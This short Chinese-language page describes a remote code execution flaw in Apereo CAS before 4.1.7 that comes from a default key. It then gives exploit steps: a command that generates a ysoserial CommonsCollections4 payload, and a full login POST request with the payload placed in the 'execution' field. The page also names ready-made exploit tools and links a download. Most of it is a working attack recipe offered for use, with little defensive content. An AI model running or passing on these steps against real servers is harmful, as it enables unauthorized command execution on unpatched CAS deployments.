Apereo CAS 4.1 反序列化命令执行漏洞

## 漏洞概述

[默认密钥]-4.1.x 反序列化RCE

其4.1.7版本之前存在一处默认密钥（changeit）的问题，利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞，进而执行任意命令

## 影响范围

“`http
Apereo-CAS < 4.1.7 ``` ## POC 1、使用[Apereo-CAS-Attack](https://github.com/vulhub/Apereo-CAS-Attack)利用ysoserial的CommonsCollections4生成加密后的Payload ```bash java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success" ``` 2、然后登录CAS并抓包，将Body中的`execution`值替换成上面生成的Payload ```http POST /cas/login HTTP/1.1 Host: your-ip Content-Length: 2287 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://your-ip:8080 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://your-ip:8080/cas/login Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 Cookie: JSESSIONID=24FB4BAAE1A66E8B76D521EE366B3E12; _ga=GA1.1.1139210877.1586367734 Connection: close username=test&password=test&lt=LT-2-gs2epe7hUYofoq0gI21Cf6WZqMiJyj-cas01.example.org&execution=[payload]&_eventId=submit&submit=LOGIN ``` ## EXP 两个都是图形化工具 **EXP1**：cas_exploit-1.0-SNAPSHOT-all.jar **EXP2**：[@nice0e3](https://github.com/nice0e3/Cas_Exploit) ## 下载 [点我下载]( /Gr33kLibrary/download_tool/58/)